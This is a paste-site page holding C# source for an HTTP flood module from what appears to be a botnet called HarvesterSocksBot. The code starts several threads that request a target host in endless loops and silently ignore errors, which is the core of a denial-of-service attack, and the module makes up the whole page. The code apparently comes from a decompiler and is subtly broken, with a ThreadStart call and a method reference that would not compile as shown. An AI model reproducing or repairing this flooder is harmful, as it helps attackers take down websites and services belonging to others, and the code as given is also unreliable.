Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on Jul 10th, 2012  |  syntax: None  |  size: 2.33 KB  |  hits: 15  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. namespace HarvesterSocksBot.Floods
  2. {
  3.     using System;
  4.     using System.Net;
  5.     using System.Threading;
  6.  
  7.     internal class HttpFlood
  8.     {
  9.         private ThreadStart[] FloodingJob;
  10.         private Thread[] FloodingThread;
  11.         public string Host;
  12.         public int Interval = 20;
  13.         public bool IsEnabled;
  14.         private HttpRequest[] RequestClass;
  15.         public int Threads = 2;
  16.  
  17.         public void StartHttpFlood()
  18.         {
  19.             this.FloodingThread = new Thread[this.Threads];
  20.             this.FloodingJob = new ThreadStart[this.Threads];
  21.             this.RequestClass = new HttpRequest[this.Threads];
  22.             for (int i = 0; i < this.Threads; i++)
  23.             {
  24.                 this.RequestClass[i] = new HttpRequest(this.Host, this.Interval);
  25.                 this.FloodingJob[i] = new ThreadStart(this.RequestClass[i], this.Send);
  26.                 this.FloodingThread[i] = new Thread(this.FloodingJob[i]);
  27.                 this.FloodingThread[i].Start();
  28.             }
  29.             this.IsEnabled = true;
  30.         }
  31.  
  32.         public void StopHttpFlood()
  33.         {
  34.             for (int i = 0; i < this.Threads; i++)
  35.             {
  36.                 try
  37.                 {
  38.                     this.FloodingThread[i].Abort();
  39.                     this.FloodingThread[i] = null;
  40.                     this.FloodingJob[i] = null;
  41.                     this.RequestClass[i] = null;
  42.                 }
  43.                 catch
  44.                 {
  45.                 }
  46.             }
  47.             this.IsEnabled = false;
  48.         }
  49.  
  50.         private class HttpRequest
  51.         {
  52.             private string Host;
  53.             private WebClient Http = new WebClient();
  54.             private int Interval;
  55.  
  56.             public HttpRequest(string Host, int Interval)
  57.             {
  58.                 this.Host = Host;
  59.                 this.Interval = Interval;
  60.             }
  61.  
  62.             public void Send()
  63.             {
  64.             Label_0000:
  65.                 try
  66.                 {
  67.                     this.Http.DownloadString(this.Host);
  68.                     Thread.Sleep(this.Interval);
  69.                     goto Label_0000;
  70.                 }
  71.                 catch
  72.                 {
  73.                     Thread.Sleep(this.Interval);
  74.                     goto Label_0000;
  75.                 }
  76.             }
  77.         }
  78.     }
  79. }